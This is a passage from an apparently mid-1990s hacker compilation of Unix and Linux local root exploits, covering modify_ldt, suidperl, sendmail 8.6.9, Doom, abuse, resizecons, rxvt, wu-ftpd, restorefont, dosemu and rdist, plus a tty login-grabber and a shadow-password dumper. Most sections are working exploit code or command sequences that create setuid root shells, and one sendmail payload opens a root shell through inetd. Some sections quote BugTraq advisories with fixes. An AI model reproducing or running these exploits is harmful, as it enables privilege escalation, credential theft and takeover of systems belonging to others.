    buf[512+i] = shell[i];
  buf[512+i] = '\n';

  if ((f = open("/tmp/temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
    perror("temp.dip");
    exit(0);
  }
  write(f, buf, 512+i);
  close(f);

  execl(PATH_DIP, "dip", "/tmp/temp.dip", (char *)0);
}

---------- cut here

..........................................................................
.                                                                        .
. 3. ldt - text by quantumg                                              .
.                                                                        .
..........................................................................

this one is a little old but I'm rather proud of it so I thought I'd give
it a praise.  in writing the linux kernel the guys who wrote a certain
section fucked up.  they let you stretch and modify the area of memory
you can access.  at first the sploit required a System.map to be in the
root dir.  so the simple solution to the bug was to delete all System.map
files off the system and remove all the uncompressed kernels (cause you
can generate a System.map by doing an nm on uncompressed kernels), this
is now rather stupid cause there are patches for all kernel versions with
the bug and I have written a version of this sploit that doesn't need a
System.map.

---------- cut here
/* this is a hack of a hack.  a valid System.map was needed to get this
   sploit to werk.. but not any longer.. This sploit will give you root
   if the modify_ldt bug werks.. which I beleive it does in any kernel 
   before 1.3.20 ..
   
   QuantumG
*/

/* original code written by Morten Welinder.
 *
 * this required 2 hacks to work on the 1.2.13 kernel that I've tested on:
 * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
 * 2. the _task in the System.map file has no leading underscore.
 * I am not sure at what point these were changed, if you are
 * using this on a newer kernel compile with NEWERKERNEL defined.
 *                                          -ReD
 */

#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>
#ifdef NEWERKERNEL
#include <asm/sigcontext.h>
#endif
#define __KERNEL__
#include <linux/sched.h>
#include <linux/module.h>

static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)


#define KERNEL_BASE 0xc0000000
/* ------------------------------------------------------------------------ */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
  unsigned char res;
  asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
       : "=a" (res)
       : "r" (seg), "r" (ofs));
  return res;
}
/* ------------------------------------------------------------------------ */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
  asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
       : /* No results.  */
       : "r" (seg), "r" (ofs), "r" (b));
}
/* ------------------------------------------------------------------------ */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
  while (size-- > 0)
    *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* ------------------------------------------------------------------------ */
void
memputseg (int seg, void *dst, const void *src, int size)
{
  while (size-- > 0)
    __farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* ------------------------------------------------------------------------ */
int
main ()
{
  int stat, i,j,k;
  struct modify_ldt_ldt_s ldt_entry;
  FILE *syms;
  char line[100];
  struct task_struct **task, *taskptr, thistask;
  struct kernel_sym blah[4096];

  printf ("Bogusity checker for modify_ldt system call.\n");

  printf ("Testing for page-size limit bug...\n");
  ldt_entry.entry_number = 0;
  ldt_entry.base_addr = 0xbfffffff;
  ldt_entry.limit = 0;
  ldt_entry.seg_32bit = 1;
  ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
  ldt_entry.read_exec_only = 0;
  ldt_entry.limit_in_pages = 1;
  ldt_entry.seg_not_present = 0;
  stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  if (stat)
    /* Continue after reporting error.  */
    printf ("This bug has been fixed in your kernel.\n");
  else
    {
      printf ("Shit happens: ");
      printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
    }

  printf ("Testing for expand-down limit bug...\n");
  ldt_entry.base_addr = 0x00000000;
  ldt_entry.limit = 1;
  ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
  ldt_entry.limit_in_pages = 0;
  stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  if (stat)
    {
      printf ("This bug has been fixed in your kernel.\n");
      return 1;
    }
  else
    {
      printf ("Shit happens: ");
      printf ("0x00000000 - 0xfffffffd is accessible.\n");
    }

  i = get_kernel_syms(blah);
  k = i+10;
  for (j=0; j<i; j++) 
   if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j;
  if (k==i+10) { printf("current not found!!!\n"); return(1); }
  j=k;

  taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
  memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));  
  taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);
  memgetseg (&thistask, 7, taskptr, sizeof (thistask));  
  if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); }
  printf("Current process is %i\n",thistask.pid);
  taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr);
  memgetseg (&thistask, 7, taskptr, sizeof (thistask));  
  if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); }
  printf("Parent process is %i\n",thistask.pid);
  thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;
  thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;
  memputseg (7, taskptr, &thistask, sizeof (thistask));
  printf ("Shit happens: parent process is now root process.\n");
  return 0;
};

----------- cut here

..........................................................................
.                                                                        .
. 4. suid perl  - text by quantumg                                       .
..........................................................................

In the /usr/bin dir (usually) you will find a suid root binary called
suidperl.  If this file is suid root it is most probably sploitable.

You need to set this file suid
(chmod 4700 will do it) and execute it to get root.

---------- cut here

#!/usr/bin/suidperl
$> = 0;                                     #set effective user id
$ENV{'PATH'} = '/bin:/usr/bin';             #secure the session
$ENV{'IFS'} = '' if $ENV{'IFS'} ne '';
$execpath = "/bin/sh";                      #sameol sameol
$execpath =~ /(.*)/;                        #untaint the variable
$boom = $1;                                 #$boom untainted
system $boom;                               #run EUID=0 shell

----------------cut here

..........................................................................
.                                                                        .
. 5. Abuse Sendmail 8.6.9                                                .
.                                                                        .
..........................................................................

-----------cut here
/* smh.c - atreus - Michael R. Widner (2/27/95)
 * <widner@uchicago.edu> <atreus@primus.com>
 * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
 * hole.  It's really just a matter of passing newlines in arguments to
 * sendmail and getting the stuff into the queue files.  If we run this
 * locally with -odq we are guaranteed that it will be queue, rather than
 * processed immediately.
 * usage: smh [ username [/path/to/sendmail]]
 * It's worth noting that this is generally only good for getting bin.
 * sendmail still wants to process the sendmail.cf file, which contains
 * Ou1 and Og1 most of the time, limiting you to bin access.  Is there
 * a way around this?
 * cc -o smh smh.c should do the trick.  This just creates a bin owned
 * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some
 * systems this is pretty much worthless, but you're smart enough to know
 * which systems those are.  Aren't you?
bash$ ./smh root /usr/lib/sendmail
bash$ /usr/lib/sendmail -q
*/
#include <sys/types.h>
#include <unistd.h>   
#include <stdlib.h>   

/* Take Your Pick */
#define EVIL_COMMAND1 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii "
#define EVIL_COMMAND2 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/echo ingreslock stream tcp nowait root /bin/sh /bin/sh  >/tmp/.inetd.conf\">\nR<\"|/usr/sbin/inetd /tmp/.inetd.conf\">\n$rasc
ii "

main(argc, argv)
int argc;
char **argv;
{                          
      execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p", EVIL_COMMAND1,
      argv[1] ? argv[1] : "atreus",0);
}

----------- cut here
..........................................................................
.                                                                        .
. 6. ttysurf - grab someone's tty                                         .
..........................................................................

------------cut here
#include <stdio.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/termios.h>

#define DEBUG 1         /* Enable additional debugging info (needed!) */
#define USLEEP          /* Define this if your UNIX supports usleep() */

#ifdef ULTRIX
#define TCGETS TCGETP   /* Get termios structure */
#define TCSETS TCSANOW  /* Set termios structure */
#endif


handler(signal)
           int signal;             /* signalnumber */
{                       /* do nothing, ignore the signal */
        if(DEBUG) printf("Ignoring signal %d\n",signal);
}

int readandpush(f,string)
FILE *f;
char *string;
{
        char *cp,*result;
        int e;
        struct termios termios;

        result=fgets(string,20,f);    /* Read a line into string */
        if (result==NULL)
        {       perror("fgets()");
                return(1);
        }
        if (DEBUG)
        {       printf("String: %s\n",string);
                fflush(stdout);
        }

        ioctl(0,TCGETS,&termios);       /* These 3 lines turn off input echo */
 /*        echo = (termios.c_lflag & ECHO);      */
        termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
        ioctl(0,TCSETS,&termios);

        for (cp=string;*cp;cp++)        /* Push it back as input */
        {       e=ioctl(0,TIOCSTI,cp);
                if(e<0)
                {       perror("ioctl()");
                        return(1);
                }
        }
        return(0);
}

main(argc,argv)
int argc;
char *argv[];
{
        /* variables */
        int err;
        FILE *f;
        char *term      = "12345678901234567890";
        char *login     = "12345678901234567890";
        char *password  = "12345678901234567890";
        if (argc < 2)
        {       printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]);
                printf("Enter ttyname: ");
                gets(term);
        }
        else term=argv[argc-1];

        signal(SIGQUIT,handler);
        signal(SIGINT,handler);
        signal(SIGTERM,handler);
        signal(SIGHUP,handler);
        signal(SIGTTOU,handler);

        close(0);               /* close stdin */
#ifdef ULTRIX
        if(setpgrp(0,100)==-1)
                perror("setpgrp:");     /* Hopefully this works */
#else
        if(setsid()==-1)
                perror("setsid:"); /* Disconnect from our controlling TTY and
                                   start a new session as sessionleader */
#endif
        f=fopen(term,"r");      /* Open tty as a stream, this guarantees
                                           getting file descriptor 0 */
        if (f==NULL)
        {       printf("Error opening %s with fopen()\n",term);
                exit(2);
        }
        if (DEBUG) system("ps -xu>>/dev/null &");
        fclose(f);              /* Close the TTY again */
        f=fopen("/dev/tty","r");        /* We can now use /dev/tty instead */
        if (f==NULL)
        {       printf("Error opening /dev/tty with fopen()\n",term);
                exit(2);
        }

        if(readandpush(f,login)==0)
        {
#ifdef USLEEP
                usleep(20000);  /* This gives login(1) a chance to read the
                                   string, or the second call would read the
                                   input that the first call pushed back ! /*
#else
                for(i=0;i<1000;i++)
                        err=err+(i*i)
                           /* error        /* Alternatives not yet implemented */
#endif
                readandpush(f,password);
                printf("Result: First: %s Second: %s\n",login,password);
        }

        fflush(stdout);
        sleep(30);      /* Waste some time, to prevent that we send a SIGHUP
                           to login(1), which would kill the user. Instead,
                           wait a while. We then send SIGHUP to the shell of
                           the user, which will ignore it. */
        fclose(f);
}
--------------cut here

..........................................................................
.                                                                        .
. 7. shadow.c  - Get shadow passwd files                                 .
.                                                                        .
..........................................................................

----------- cut here

 /*  This source will/should print out SHADOWPW passwd files.   */
 
 struct  SHADOWPW {				 /* see getpwent(3) */
	  char *pw_name;
	  char *pw_passwd;
	  int  pw_uid;
	  int  pw_gid;
	  int  pw_quota;
	  char *pw_comment;
	  char *pw_gecos;
	  char *pw_dir;
	  char *pw_shell;
 };
 struct passwd *getpwent(), *getpwuid(), *getpwnam();
 
 #ifdef   elxsis?
 
 /* Name of the shadow password file. Contains password and aging info */
 
 #define  SHADOWPW "/etc/shadowpw"
 #define  SHADOWPW_PAG "/etc/shadowpw.pag"
 #define  SHADOWPW_DIR "/etc/shadowpw.dir"
 /*
  *  Shadow password file pwd->pw_gecos field contains:
  *
  *  <type>,<period>,<last_time>,<old_time>,<old_password>
  *
  *  <type>	 = Type of password criteria to enforce (type int).
  *		BSD_CRIT (0), normal BSD.
  *		STR_CRIT (1), strong passwords.
  *  <period>  = Password aging period (type long).
  *		0, no aging.
  *		else, number of seconds in aging period.
  *  <last_time>	 = Time (seconds from epoch) of the last password
  *		change (type long).
  *		0, never changed.n
  *  <old_time>	 = Time (seconds from epoch) that the current password
  *		was made the <old_password> (type long).
  *		0, never changed.ewromsinm
  *  <old_password> = Password (encrypted) saved for an aging <period> to
  *		prevent reuse during that period (type char [20]).
  *		"*******", no <old_password>.
  */
 
 /* number of tries to change an aged password */
 
 #define  CHANGE_TRIES 3
 
 /* program to execute to change passwords */
 
 #define  PASSWD_PROG "/bin/passwd"
 
 /* Name of the password aging exempt user names and max number of entires */
 
 #define  EXEMPTPW "/etc/exemptpw"
 #define MAX_EXEMPT 100
 
 /* Password criteria to enforce */
 
 #define BSD_CRIT 0	/* Normal BSD password criteria */
 #define STR_CRIT 1	 /* Strong password criteria */
 #define MAX_CRIT 1
 #endif   elxsi
 #define NULL 0
 main()
 {
	struct passwd *p;
	int i;
	for (;1;) {;
	  p=getpwent();
	  if (p==NULL) return;
	  printpw(p);
	}
 }
 
 printpw(a)
 struct SHADOWPW *a;
 {
	printf("%s:%s:%d:%d:%s:%s:%s\n",
	   a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
	   a->pw_gecos,a->pw_dir,a->pw_shell);
 }
 
 /* SunOS 5.0		/etc/shadow */
 /* SunOS4.1+c2     /etc/security/passwd.adjunct */
 
------------ cut here

..........................................................................
.                                                                        .
. 8. Abuse Root Exploit (linux game program)                             .
.                                                                        .
..........................................................................

---------- cut here

There is a security hole in RedHat 2.1, which installs the game abuse,
/usr/lib/games/abuse/abuse.console suid root.  The abuse.console program
loads its files without absolute path names, assuming the user is running
abuse from the /usr/lib/games/abuse directory.  One of these files in the
undrv program, which abuse executes as root.  If the user is not in the
abuse directory when running this, an arbitrary program can be substituted
for undrv, allowing the user to execute arbitrary commands as root. 
   If abuse.console needs to be run by users other than root at the console,
provisions need to be made in the code to not execute or load any files
as root.

                   Program: /usr/lib/games/abuse/abuse.console suid root
Affected Operating Systems: Red Hat 2.1 linux distribution
              Requirements: account on system
                     Patch: chmod -s /usr/lib/games/abuse/abuse.console
       Security Compromise: root
                    Author: Dave M. (davem@cmu.edu)
                  Synopsis: abuse.console runs undrv without an absolute
                            pathname while executing as root, allowing
                            a user to substitute the real undrv with 
                            an arbitrary program.

Exploit:
#!/bin/sh
#
# abuser.sh
# exploits a security hole in abuse to create
# a suid root shell /tmp/abuser on a linux
# Red Hat 2.1 system with the games package 
# installed.
#
# For release 2/2/96 - 1 drink credit please.
#
# by Dave M. (davem@cmu.edu)
#
echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/lib/games/abuse/abuse.console
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/undrv
#!/bin/sh
/bin/cp /bin/sh /tmp/abuser
/bin/chmod 4777 /tmp/abuser
_EOF_
cat << _EOF_ >> /tmp/the_wall
so ya thought ya might like to go to the show
to feel the warm thrill of confusion that space cadet glow
tell me is something eluding you sunshine?
is this not what you expected to see?
if you wanna find out what's behind these cold eyes
you'll just have to claw your way through this disguise
_EOF_
chmod +x /tmp/undrv
PATH=/tmp
echo ================ Executing Abuse
/usr/lib/games/abuse/abuse.console
/bin/rm /tmp/undrv
/bin/rm /tmp/the_wall
if test -u /tmp/abuser
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi
----------- cut here

..........................................................................
.                                                                        .
. 9. Doom (game) root exploit - makes suid root shell                    .
.                                                                        .
..........................................................................


----------- Start reading
From bo@ebony.iaehv.nl Tue Dec 17 18:53:18 1996
Date: Tue, 17 Dec 1996 10:18:24 +0100
From: Bo <bo@ebony.iaehv.nl>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Subject: Re: Linux: killmouse/doom

> From: Joe Zbiciak <im14u2c@cegt201.bradley.edu>
> Subject:      Re: Linux: exploit for killmouse.
>
> Which reminds me, there's a bigger hole in Doom.  It doesn't drop its
> root permissions soon enough!  The user is allowed to set a sound server
> in his/her .doomrc.  Normally, this is set to "sndserver".  Howver, this
> can be set to *any* program, and that program runs as root!!

Yes,  very true. And just in case anybody collects these scripts, here's
the obvious one:

------------ CUT HERE --------------
#!/bin/sh
# Tue Dec 17 10:02:20 MET 1996 Bo
echo 'sndserver "/tmp/sndserver"' > .doomrc
cat > /tmp/sndserver.c << EOF
#include <stdio.h>
#include <unistd.h>
main() {
        if (fork()) while (getc(stdin));
        else system("cp /bin/sh /tmp; chmod +s /tmp/sh");
                /* or whatever you like to do */
}
EOF
gcc /tmp/sndserver.c -o /tmp/sndserver

------------ CUT HERE --------------

The  fork()  is  just so that doom runs on nicely without locking up the
keyboard  and  sndserver  gobbles  up all the sound data send to it. Run
the script, start sdoom, quit the normal way, and execute /tmp/sh.

Thanks for pointing it out, Joe.

Regards,
                Bo.

--
                "Heisenberg may have been here".

--------------- end of read

..........................................................................
.                                                                        .
. 10. dosmenu suid root exploit                                          .
.                                                                        .
..........................................................................


--------- read

In Debian 1.1, the optional DOSEMU package installs /usr/sbin/dos
setuid root.  This is a serious security hole which can be exploited
to gain access to any file on the system.

Package: dosemu
Version: 0.64.0.2-9

------- start of cut text --------------

$ cat /etc/debian_version 
1.1
$ id
uid=xxxx(quinlan) gid=xxxx(quinlan) groups=xxxx(quinlan),20(dialout),24(cdrom)
[quinlan:~]$ ls -al /usr/bin/dos
-rwsr-xr-x   1 root     root       569576 Oct 24 00:05 /usr/bin/dos
$ ls -al /root/foo
-rw-------   1 root     root         1117 Nov 13 23:10 /root/foo
$ dos -F /root/foo
[ Prints /root/foo, which is not readable by user `quinlan'. ]

------- Cut here

I expect there may be other holes in dosemu other than this one that
can be exploited if it is installed setuid root.  It took about 60
seconds to find this hole once I realized /usr/bin/dos was setuid
root.

Dan

Note: This security hole can be corrected by removing the suid bit from
/usr/bin/dos:
----------------------------
$ chmod u-s /usr/bin/dos
----------------------------

Jonathan

----------- end of read

..........................................................................
.                                                                        .
. 11. Doom root killmouse exploit                                        .
.                                                                        .
..........................................................................

System:
Probably  Linux  specific.  Slackware  3.0 (installs Linux 1.2.13) which
have  gpm  utility  and/or  the  Doom  package installed are vulnerable.
Other distributions might be too.

Impact:
Local users can acquire root status.

Background:
The  problem  is  the  killmouse/startmouse command that is part of Doom
package  on  Linux  systems.  It  is  actually a C-wrapper that runs two
scripts  (killmouse.sh/startmouse.sh). It runs suid root.

Problem:
I would try to describe the problem but I can't stop laughing.

Exploit:
This  can  be  exploited  in  a few similar ways. Here's just one. Let's
assume  the  gpm  utility is not running. We can't start it up ourselves
as gpm is only to be run by root. So we'll use startmouse to fire it up:

$ touch /tmp/gpmkilled
$ /usr/games/doom/startmouse

ps -aux | grep gpm
bo        1436  0.0  2.0   40  312 v03 R    16:33   0:00 grep gpm
root      1407  0.0  2.4   42  368  ?  S    16:24   0:00 /usr/bin/gpm t ms

Fine,  it's  running.  Now  we'll use killmouse to kill the process, but
first we set our umask to 0 and link /tmp/gpmkilled to /root/.rhosts:

$ umask 0
$ ln -s /root/.rhosts /tmp/gpmkilled
$ /usr/games/doom/killmouse
 1407  ?  S     0:00 gpm t ms

$ ls -l /root/.rhosts
-rw-rw-rw-   1 root     users           0 Dec 13 16:44 /root/.rhosts

$ echo localhost bo > /root/.rhosts
$ rsh -l root localhost sh -i
bash#

Bingo.  On  some  systems gpm might not be started in /etc/rc.d/rc.local
so  the  startmouse  script will fail. But gpm might be running already.
If  neither of these conditions are met, note that startmouse.sh creates
/tmp/gpmscript  and runs it in a shell. There's a window of time between
creating  the  script and executing it, so we have a nice race condition
here; it can be replaced with anything you like prior to execution.

Solution:
Remove  setuid  bits  of  killmouse/startmouse.  Better yet - nuke them.
While your at it, nuke Doom too - it's a stupid game anyway :-)

Best regards,
                Bo (bo@ebony.iaehv.nl)


killmouse exploit
------------------ cut here

/usr/games/doom/startmouse.sh:
#!/bin/sh
if [ -r /tmp/gpmkilled ]; then
  /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
  /bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilled
fi

/usr/games/doom/killmouse.sh:
#!/bin/sh
if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then
  GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilled
fi

----------- cut here

..........................................................................
.                                                                        .
. 12. Root exploit for resize icons                                      .
.                                                                        .
..........................................................................

There is a security hole in RedHat 2.1, which installs the program
/usr/bin/resizecons suid root.  The resizecons program allows a user
to change the videmode of the console.  During this process, it runs
the program restoretextmode without an absolute pathname, assuming the
correct version will be found in the path, while running with root
privileges.  It then executes setfont in the same manner.  By setting
the path to find a rogue restoretextmode, a user can execute an arbitrary
program as root.

As a more amusing aside, the file /tmp/selection.pid is read and the
pid contained within is sent a SIGWINCH, allowing a user on the system
to force a redraw of the screen to an arbitrary process (that handles 
SIGWINCH calls) on the machine. 

If /usr/bin/resizecons needs to be run by users other than root at the
console, provisions need to be made in the code to execute the outside
utilities with absolute pathnames, and to check access rights on files
before opening.

                   Program: /usr/bin/resizecons
Affected Operating Systems: Red Hat 2.1 linux distribution
              Requirements: account on system
           Temporary Patch: chmod -s /usr/bin/resizecons
       Security Compromise: root
                    Author: Dave M. (davem@cmu.edu)
                  Synopsis: resizecons runs restoretextmode without an
                            absolute pathname while executing as root,
                            allowing a user to substitute the real
                            program with arbitrary commands.


----------cut here
wozzeck.sh:
#!/bin/sh
#
# wozzeck.sh
# exploits a security hole in /usr/bin/resizecons 
# to create a suid root shell in /tmp/wozz on a 
# linux Red Hat 2.1 system.
#
# by Dave M. (davem@cmu.edu)
# 
echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/bin/resizecons
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/313x37
This exploit is dedicated to 
Wozz.  Use it with care.
_EOF_
cat << _EOF_ > /tmp/restoretextmode
#!/bin/sh
/bin/cp /bin/sh /tmp/wozz
/bin/chmod 4777 /tmp/wozz
_EOF_
/bin/chmod +x /tmp/restoretextmode
PATH=/tmp
echo ================ Executing resizecons
/usr/bin/resizecons 313x37
/bin/rm /tmp/restoretextmode
/bin/rm /tmp/313x37
if test -u /tmp/wozz
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi

-------------- cut here

..........................................................................
.                                                                        .
. 13. Root console exploit for restorefont                               .
.                                                                        .
..........................................................................

Linux 'restorefont' Security Holes
by FEH Staff

Linux's svgalib utilities, required to be suid root, have a problem in that
they do not revoke suid permissions before reading a file.  This is exploited
in the restorefont utility, but similar bugs exist in other svgalib utilities.
The restorefont utility serves two functions.  First, it will read a font from
a file and write it to the console as the font.  Second, it will read a font
from the console and write it out to a file.  Luckily, the specific bug
in restorefont can only be exploited if someone is at the console, reducing
its overall impact on the security of the system as a whole.

In writing the utilities, the authors are cognizant of the fact that when
writing out the font, suid permissions must first be given up; it is in fact
commented as such in the code.  However, when reading in a font, the program
is still running with full suid root permissions.  This allows us to read in
any file for the font that root could access (basically, anything).

The applicable code to read in the file is shown below:

#define FONT_SIZE 8192
unsigned char font[FONT_SIZE];

	if (argv[1][1] == 'r') {
		FILE *f;
		f = fopen(argv[2], "rb");
		if (f == NULL) {
			error:
			perror("restorefont");
			exit(1);
		}
		if(1!=fread(font, FONT_SIZE, 1, f))
			{
			if(errno)
				goto error;
			puts("restorefont: input file corrupted.");
			exit(1);
			}
		fclose(f);

We can see from this that the file to be read in has to be at least 8k,
as if it is not, the program will produce an error and exit.  If the file
is at least 8k, the first 8k are read into the buffer, and the program 
proceeds to set whatever the contents of the file are to the font:
	vga_disabledriverreport();
	vga_setchipset(VGA);		/* avoid SVGA detection */
	vga_init();
	vga_setmode(G640x350x16);
	vga_puttextfont(font);
	vga_setmode(TEXT);

At this point, the console will now look quite unreadable if you are
reading something other than a font from that file.  But, the data that
is put into the font is left untouched and is readable using the -w option
of restorefont.  We then read the font back from video memory to a new file,
and our job is complete, we have read the first 8k of a file we shouldn't
have had access to.  To prevent detection of having run this, we probably
shouldn't leave an unreadable font on the screen, so we save and then restore
the original font before reading from the file.
The complete exploit is shown below:

                   Program: restorefont, a svgalib utility
Affected Operating Systems: linux
              Requirements: logged in at console
       Security Compromise: user can read first 8k of any file of at least
                            8k in size on local filesystems
                  Synopsis: restorefont reads a font file while suid root,
                            writing it to video memory as the current vga
                            font; anyone at console can read the current
                            font to a file, allowing you to use video memory
                            as an 8k file buffer.

-------------
rfbug.sh:
--------------------cut here
#!/bin/sh
restorefont -w /tmp/deffont.tmp
restorefont -r $1
restorefont -w $2
restorefont -r /tmp/deffont.tmp
rm -f /tmp/deffont.tmp
-----------------------------------cut here

..........................................................................
.                                                                        .
. 14. Root rxvt X server exploit                                         .
.                                                                        .
..........................................................................

Program: rxvt
Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with
                            rxvt suid root (and compiled with PRINT_PIPE)
              Requirements: account on system, X server
           Temporary Patch: chmod -s /usr/X11R6/bin/rxvt
       Security Compromise: root
                    Author: Dave M. (davem@cmu.edu)
                  Synopsis: rxvt fails to give up root privileges before
                            opening a pipe to a program that can be specified
                            by the user.


Exploit:
1.  Set DISPLAY environment variable if necessary so you can use x clients.
2.  In user shell:
    $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
    $ chmod +x /tmp/rxbug
    $ rxvt -print-pipe /tmp/rxbug
3.  In rxvt xclient:
    $ cat
      ESC[5i
      ESC[4i
    (The client will close at this point with a broken pipe)
4.  $ /tmp/rxsh
    # whoami
    root
    #

..........................................................................
.                                                                        .
.15. Root wuftpd exploit                                                 .
..........................................................................

The following is gleaned from the BugTraq mailing list:
-------------------------------------------------------
Since Bugtraq is exceptionally quiet lately, I though I should make it
come alive again with this discussion of the bug that was reported in
the wu.ftpd that comes with some Slackware distributions of Linux.
The report was just before Bugtraq went down for a long time, but
I've found the bug still to be present on all the Linux machines that
I have access to. So maybe it needs to be brought a little more in
the open. Here we go:

ObBug: - Short description of the bug

It involves wu.ftpd being misconfigured at compile time and allowing
SITE EXEC access to /bin (for anonymous or otherwise chroot-ed users
this is ~ftp/bin). Now if in this /bin resides a program that gives
access to executables outside /bin, but in the users reach (such as
/bin/bash that gives access to the user's homedir), this opens up
a root vulnerability. This should have been set to /bin/ftp-exec and
which be set by the _PATH_EXECPATH variable in src/pathnames.h before
compiling. The wu-ftpd-2.4_linux.tgz that I found somewhere on the
net has this securely set as default value.

- How to check ?

$ ftp -n localhost
user: <userid>
password: <passwd>
ftp> quote site exec bash -c id

If vulnerable it gives here: uid=0, gid=0, euid=<yourid>, egid=<your-gids>

Of course, bash should not be available at all

- How to exploit (in case your sysadmin or you think the above is not
  a problem)

go to your homedir and make a program: duh.c (or whatever)

main() {
   seteuid(0);
   setegid(0);
   system("/bin/cp /bin/sh ./sh");
   system("/bin/chmod 6755 ./sh");
}

$ make duh
$ ftp -n localhost (and login)
user: <userid>
password: <passwd>
ftp> quote site exec bash -c duh
ftp> quit

$ ./sh

bash#

(voila, QED)

- How to fix?

Get the source of wu-ftpd-2.4.linux.tar.gz (stock wu-ftpd-2.4 from wuarchive
doesn't compile on linux) and compile it; you might want to define the
_PATH_PIDNAMES and _PATH_XFERLOG to other values there...(/usr/adm/ftp.pids-%s
and /usr/adm/xferlog for example). If you cannot find that I can email the
source to you,...if you trust the source I took somewhere unmodified and
if you trust me ;-) An arch search for wu-ftpd-2.4 will give you sites too.
I can remember that I got it that way.

$) Henri Karrenbeld
-----------------------------------------------------------------------------
Hardware, n.:
        The parts of a computer system that can be kicked.
-----------------------------------------------------------------------------

..........................................................................
.                                                                        .
. 16. A shell script called gimme, used to read any system file          .
..........................................................................

----------------cut here
#! /bin/sh
# GIMME - "gimme' a file"
# Demonstrate rdist's ability to give me permission to access anything.
#
# gimme <pathname> [<permission> [<directory>]]
#       <pathname> is the target file.
#       <permission> is the octal mode to which the file access permission
#               should be set.  Note that this may not be effective unless
#               either the SUID (4000) or SGID (2000) bits are also requested.
#       <directory> is the target directory for rdist to use if a hard
#               link is desired.  Note that the user must have permission
#               to create this directory, it must be on the same filesystem
#               as the target file, and the target file must not be a
#               directory.  This option is necessary to change the ownership
#               of the target if chown() of a symbolic link modifies the
#               link itself, and not the file it refers to.
#

dirname=gimme$$
deftemp=/tmp
defperm=6777

if [ $1x = x ]; then
        echo "Usage: $0 <pathname> [<permission> [<directory>]]" >&2
        exit 1
fi

if [ $2x != x ]; then
        perm=$2
else
        perm=$defperm
fi

if [ $3x != x ]; then
        link="ln"
        temp=$3/$dirname
        target=$1
else
        link="ln -s"
        temp=$deftemp/$dirname
        case $1 in
        /*)
                target=$1
                ;;
        *)
                target=`pwd`/$1
                ;;
        esac
fi

trap "rm -fr $temp; exit 1"  1 2 15
umask 66
mkdir $temp; if [ $? != 0 ]; then
        exit 1
fi

set `whoami` $LOGNAME
user=$1
set daemon `groups`
while [ $# != 1 ]; do
        shift
done
group=$1

(
        echo "t$temp/something"
        echo "R0 $perm 1 0 $user $group "

        while [ ! -f $temp/rdist* ]; do
                sleep 1
        done

        set $temp/rdist*
        rm -f $1
        if $link $target $1 >&2; then
                echo "" | dd bs=3 conv=sync 2>/dev/null
                echo ""

                echo 0 > $temp/status
        else
                echo 1 > $temp/status
        fi

        exit
) | rdist -Server

status=`cat $temp/status`
rm -fr $temp
exit $status
-----------------------------cut here



*********************************************
* Appendix IV - Other UNIX system utilities *
*********************************************


..........................................................................
.                                                                        .
